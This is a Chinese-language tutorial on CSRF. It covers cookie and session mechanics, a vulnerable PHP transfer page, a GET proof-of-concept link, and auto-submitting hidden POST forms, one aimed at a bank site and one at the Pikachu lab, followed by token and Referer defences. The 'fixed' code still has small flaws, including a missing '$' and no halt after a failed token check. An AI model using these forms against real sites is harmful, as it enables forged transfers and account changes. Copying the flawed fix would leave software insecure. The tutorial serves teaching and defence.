阅读本专栏的必备知识
- 扎实的计算机基础知识(数据结构与算法、计算机网络等)
- 熟悉
HTTP/HTTPS协议 - 熟练使用
Linux操作系统,熟悉常见的运维管理操作,熟悉LAMP、LNMP等网站环境。 - 熟悉
PHP、Python编程语言基本语法和功能 - 熟悉
HTML、CSS、JavaScript,能使用开发框架最佳 - 熟悉
MySQL、Microsoft SQL Server、Oracle、Redis等主流数据库产品 - 熟悉常见的网站中间件,如
Apache、Nginx - 初步了解网络安全、Web安全的概念,粗略了解
OWASP TOP 10 - 初步掌握常见的安全工具(
BurpSuite等)
简介----什么是CSRF漏洞
CSRF(Cross-Site Request Forgery),中文名为跨站请求伪造攻击。这种攻击一般是攻击者盗用了你的身份认证信息(比如
Cookie),随后用你的身份信息登录了存在此类安全漏洞的重要网站,并通过你的身份做了一些“合法”的操作,如转账、修改用户信息、后台新建管理员等等,使你蒙受巨大损失。
为了方便理解,作者用员工刷考勤机进入公司的过程来打比方:
- 正常情况下,员工刷卡进入公司的流程是这样的:
1.员工拿出自己的员工卡(网页身份认证信息)在考勤机上打卡;
2.考勤机读卡,查询到了员工信息(网站用户信息),解锁大门(向前端发送
Cookie信息),向数据库添加考勤记录(添加Session信息);
3.员工推门进入公司,开始办公(向后端发送Cookie信息以区别身份,执行各
种操作);
4.员工到点下班(笑),再次在考勤机上打卡,考勤机读出员工信息,向数据库添
加下班打卡记录(用户退出登录,销毁Session并让客户端Cookie过期)。 - 但是当有外部人员非法进入公司时(即遭受CSRF攻击时),流程是这样的:
1.员工拿出自己的员工卡(网页身份认证信息)在考勤机上打卡;
2.考勤机读卡,查询到了员工信息(网站用户信息),解锁大门(向前端发送
Cookie信息),向数据库添加考勤记录(添加Session信息);
3.员工推门进入公司(向后端发送Cookie信息以区别身份,执行各
种操作);
4.有社会闲散人员尾随员工进入办公区,开始恶意破坏公司内网办公系统。(攻击
者盗用用户Cookie信息,开始执行各种恶意操作)
5.公司正常运营秩序被打乱,陷入瘫痪状态。(攻击者冒用高权限用户身份,执行
恶意操作瘫痪网站)
预备知识
Cookie的简介和工作机制
Cookie,是网站为了辨别用户身份而储存在用户本地终端上的标识数据,由用户客户端计算机暂时或永久保存的信息。通常为不超过4KB的纯文本文件。
我们都知道,HTTP协议是无状态的,它无法记忆事务的处理情况。这意味着网站开发者如果不使用另外的身份认证技术就无法区分访问者的身份,于是,Cookie技术应运而生。在用户登录成功时,网站会将该用户的身份认证信息整理成Cookie,放在HTTP响应头中发送给用户;用户的浏览器接收到数据包时,会将Cookie存放起来,当用户再次访问该网站时,浏览器会发送Cookie到网站。于是网站就能区分访问者身份了。
Cookie有不同的种类,具体见下表:
| 种类 | 说明 |
|---|---|
| 临时Cookie | 由网站设置的临时Cookie ,关闭浏览器后消失 |
| 持久Cookie | 存储在硬盘中的Cookie ,可以设置过期时间 |
| 第三方Cookie | 由第三方服务商使用的Cookie ,一般用于广告推销 |
下表介绍Cookie的基本格式:
| 属性名 | 解释 |
|---|---|
| name=value | Cookie最基本的键值对格式 |
| domain | Cookie有效域 |
| path | Cookie生效路径 |
| Expires | Cookie过期时间 |
| httpOnly | 禁止JavaScript读取Cookie |
Session
Session是保存在服务器中的用户会话信息,通常配合Cookie使用。当用户访问网站时,网站会检查用户是否携带Session ID,如果携带了Session ID并与服务端中匹配,则使用该会话;如不匹配或已过期,则会分配新的Session ID。Session可以保存更多的信息在服务器中。
Token
Token是一种在向网页请求时发送的动态令牌信息,能起到“验证码”的效果。一般在用户每次向服务器发起请求时都会进行验证和更新。
CSRF攻击场景(GET)
我们已经知道了Cookie、Session和Token的工作机制,现在让我们来看CSRF(GET)攻击原理。
假设现在有一个骗子Jack想从受害者的银行账户中骗钱,银行网站转账页面部分代码如下:
<?php
# More code.
# 假设网站保存用户信息凭证在$_SESSION中
session_start();
if (isset($_SESSION['username']) && (!empty($_SESSION['username']))) { // 如果Session ID已设置且注册,则发起转账
$money=$_GET['money'];
$toAccount=getCardID($_GET['account']);
$fromAccount=getCardID($_SESSION['username']); // 取出银行卡号
if (isset($fromAccount,$money,$toAccount) && (!empty(fromAccount))){
tran_money($fromAccount,$toAccount,$money); // 转账函数
echo("<script>alert('Succeed in transferring money.');</script>");
} else echo("Missing some important argments.");
} else header("Location:login.php"); // 若未设置Session ID则跳转至登录页面
?>
那么骗子可以构造如下POC:http://127.0.0.1/tran_money.php?money=500000&account=jack
此时大冤种点击了骗子发来的链接,浏览器便带着大冤种的Cookie访问了转账链接,而银行网站只通过Cookie中的Session ID确认身份,只要Session没有失效。。。哼哼 (ps:一些网站会延长Session过期时间以确保用户体验)
骗子:很好,50w已经到手了。
CSRF攻击场景(POST)
首先附上CSRF POST攻击的原理图:
经过上次的惨痛教训,银行领导决定派网管修复相关漏洞,可是网管不怎么懂安全,仅仅将传递参数的方式改为了POST就宣布完成了,银行方面也没人懂技术。于是骗子分析了一波后写了如下自动攻击页面,该页面会通过POST方法调用转账接口:
<!DOCTYPE html>
<html>
<head>
<title>Document</title>
</head>
<body>
<form id="autoAttack" action="https://www.bank.com/tran_money.php" method="post">
<input type="hidden" name="money" value="500000">
<input type="hidden" name="toAccount" value="jack">
</form>
<script>
document.getElementById('autoAttack').submit();
alert("诶嘿,信不信你银行账户又少了50w");
</script>
</body>
</html>
经过“修复”后的银行转账页面源代码:
<?php
# More code.
# 假设网站保存用户信息凭证在$_SESSION中
session_start();
if (isset($_SESSION['username']) && (!empty($_SESSION['username']))) { // 如果Session ID已设置且注册,则发起转账
$money=$_POST['money'];
$toAccount=getCardID($_POST['account']);
$fromAccount=getCardID($_SESSION['username']); // 取出银行卡号
if (isset($fromAccount,$money,$toAccount) && (!empty(fromAccount))){
tran_money($fromAccount,$toAccount,$money); // 转账函数
echo("<script>alert('Succeed in transferring money.');</script>");
} else echo("Missing some important argments.");
} else header("Location:login.php"); // 若未设置Session ID则跳转至登录页面
?>
现在骗子可以将有害链接发送给大冤种,只要大冤种点击,浏览器里有Cookie而且Cookie和Session都没过期的话。。。哼哼
实战
下面我们使用Pikachu靶场进行CSRF实战攻击训练。
提醒: 本实验推荐运行环境:Apache 2.4.39、MySQL 5.7.26、PHP 5.3.29 NTS。
CSRF GET
首先打开URL:http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_login.php
这里点一下左上角的提示,任选一个账户登录,密码均为
123456。
登录之后我们进入用户中心,可以更改用户信息,更新参数使用GET方法,你懂的。
先进入更新页面,填好新信息后打开BurpSuite查看URL格式,随后链接就是EXP了。此时如果有哪个大冤种用完网页之后忘了点安全退出链接(服务端未关闭会话且有Cookie),我们将更改个人信息的链接发给他,诱导他点击后,我们就完成了一次CSRF攻击。
CSRF POST
CSRF POST攻击原理一样。我们选一个账户登录,通过更改个人信息来截包获取参数名:
我们已经获得了参数名,现在可以编写自动攻击表单了。
<!DOCTYPE html>
<html>
<head><title>冲VIP送话费</title></head>
<body onload="autosubmit();">
<form id="autoAttack" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="hidden" name="sex" value="what">
<input type="hidden" name="phonenum" value="1145149150">
<input type="hidden" name="add" value="学园都市">
<input type="hidden" name="email" value="114514@aaabbb.com">
<input type="hidden" name=" submit" value="submit">
<input type="submit" value="sub">
</form>
<script>
function autosubmit(){
document.forms[0].submit();
}
</script>
</body>
</html>
注意:表单中第五项submit值前加空格,否则和submit()冲突。
攻击成功。
小结
现在我们已经知道,CSRF攻击是由于服务端校验用户身份不严,攻击者发送相关操作链接给用户,让用户浏览器去向服务端发送“合法”请求的攻击。CSRF攻击需要建立在以下条件上:
- 受害者上当受骗,点击了攻击者发送的链接。(所以说此类攻击常见于电信诈骗中)
- 受害者的浏览器中有保存的可用Cookie信息。
- 服务端存在CSRF漏洞,链接跳转到了有漏洞的网站上做了一些操作。
如何防御?
从个人角度
总结:个人想要预防CSRF攻击需要做到:
- 陌生的链接不乱点。
- 不使用某些重要网站时(如银行网站、学信网等)登出用户,及时清理Cookie。
- 打开手机、邮箱的骚扰拦截功能,最好下载国家反诈中心APP。
- ==不要相信天上会掉馅饼==。
在现实生活中遇到和以上诈骗链接具有相同性质的千万别点。
从网站运营者角度
1.使用POST方法提交更新表单
2.做好外域访问的阻止措施
从CSRF的攻击原理可以得出,大多数攻击都是从外域跳转而来的。这时可以检查HTTP Referer头中的域名是否为本站的域名。如果Referer信息不存在或者为外域链接,则拒绝访问或将页面重定向至登录页面。
我们可以通过Referer Policy来控制Referer报头的发送策略,可以用以下方式设置:
在HTTP报头中设置
Referrer-Policy: same-origin
在Meta标签中设置
<meta name="referrer" content="same-origin">
推荐使用same-origin,当设置为此值时只有同源时(域名、协议、端口相同)才会发送Referer。
3.设置CSRF Token
前面已经介绍过,Token是一种类似于验证码的动态令牌。那么我们可以设置CSRF Token来有效地防止CSRF攻击。 具体步骤如下:
- 当用户登录成功时,后端将用户名等信息和随机生成的CSRF Token保存至Session中。
- 用户请求其他页面时,后端将CSRF Token取出,将其加入一个属性为
hidden的input标签中,==输出至页面上==。(一定不要放在Cookie里) - 如果是正常用户进行提交,CSRF Token会被后端接收到,而且将其和Session中的值对比后一定是相同的,当验证通过时需要更新CSRF Token值,这样用户请求下一个页面时就会使用新的CSRF Token,增加了安全性。
- 如果校验CSRF Token时发现两个值不一样,那基本可以确定有人在进行CSRF攻击了。这时我们可以关闭当前的Session会话并让用户重新登录了。
注意:如果当前页面存在XSS漏洞,那么所有防范CSRF攻击的措施都是无效的。攻击者可以通过JavaScript获取页面中隐藏标签的值。
修复示例:
<?php
# More code.
# 假设网站用银行卡号登录,保存卡号在$_SESSION二维数组中
session_start();
if (isset($_SESSION['csrfToken'])) {
$untrust_csrfToken=$_POST['token'];
if ($_SESSION['csrfToken'] != $untrust_csrfToken){
session_unset();
session_destroy();
setcookie(session_name(),'',time()-3600,'/');
header("Location:login.php");
}
$send_csrfToken.=gen_csrfToken();
$money=$_POST['money'];
$toAccount=$_POST['account'];
# 通过POST方法传递参数
$fromAccount=getCardID($_SESSION['username']); // 取出银行卡号
if (isset($money,$toAccount)){
tran_money($fromAccount,$toAccount,$money); // 转账函数
echo("<script>alert('Succeed in transferring money.');</script>");
} else echo("Missing some important argments.");
} else header("Location:login.php"); // 若未设置Session ID则跳转至登录页面
?>
<html>
<head>
......
</head>
<body>
......
<form action="" method="post">
......
<?php echo("<input type=\"hidden\" name=\"token\" value=\"$send_csrfToken\">"); ?>
......
</form>
</body>
</html>
4.不使用持久性Cookie
如果你负责维护的是一个非常重要的网站(如银行、教育、能源、关键基础设施、企业网站后台等),不要设置持久性Cookie,这样可以大大减少遭受CSRF攻击的概率。